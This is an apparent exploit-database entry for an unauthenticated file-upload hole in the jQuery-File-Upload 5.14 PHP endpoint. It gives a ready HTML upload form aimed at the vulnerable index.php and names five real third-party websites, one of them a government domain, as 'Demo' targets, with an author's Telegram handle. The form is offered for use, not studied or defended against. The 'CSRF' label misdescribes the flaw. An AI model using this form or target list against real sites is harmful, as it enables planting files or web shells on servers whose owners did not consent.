##################################################
# Exploit Title: jQuery-File-Upload 5.14 - CSRF Backdoor Access Vulnerability
# Vendor: https://github.com/blueimp
# Download Site: https://github.com/blueimp/jQuery-File-Upload/
# Date: 27/04/2019
# Exploit Author: ArkealoGeNDz
# Tested on: Kali linux 2.0 / Mozilla Firefox
# Vulnerable File : /php/index.php
# Vulnerability : /assets/global/plugins/jquery-file-upload/server/php/index.php
# Post File, Type : {"files":[]}
# CSRF CODE :
<form enctype="multipart/form-data" action="https://yourwebsite.dz/assets/global/plugins/jquery-file-upload/server/php/index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="512000" />Select Your File :
<input name="userfile" type="file" />
<input type="submit" value="Upload" />
</form>ArkealoGeNDz
##################################################
# Demo:
# https://totohealth.org/assets/global/plugins/jquery-file-upload/server/php/index.php
# http://www.mikweb.com.br/assets/global/plugins/jquery-file-upload/server/php/index.php
# http://jdih.dephub.go.id/assets/global/plugins/jquery-file-upload/server/php/index.php
# https://www.itiox.com/assets/global/plugins/jquery-file-upload/server/php/index.php
# http://simmam.acad.univali.br/webgis/assets/global/plugins/jquery-file-upload/server/php/index.php
#################################################
# Telegram: @ArkealoGeNDz
#################################################
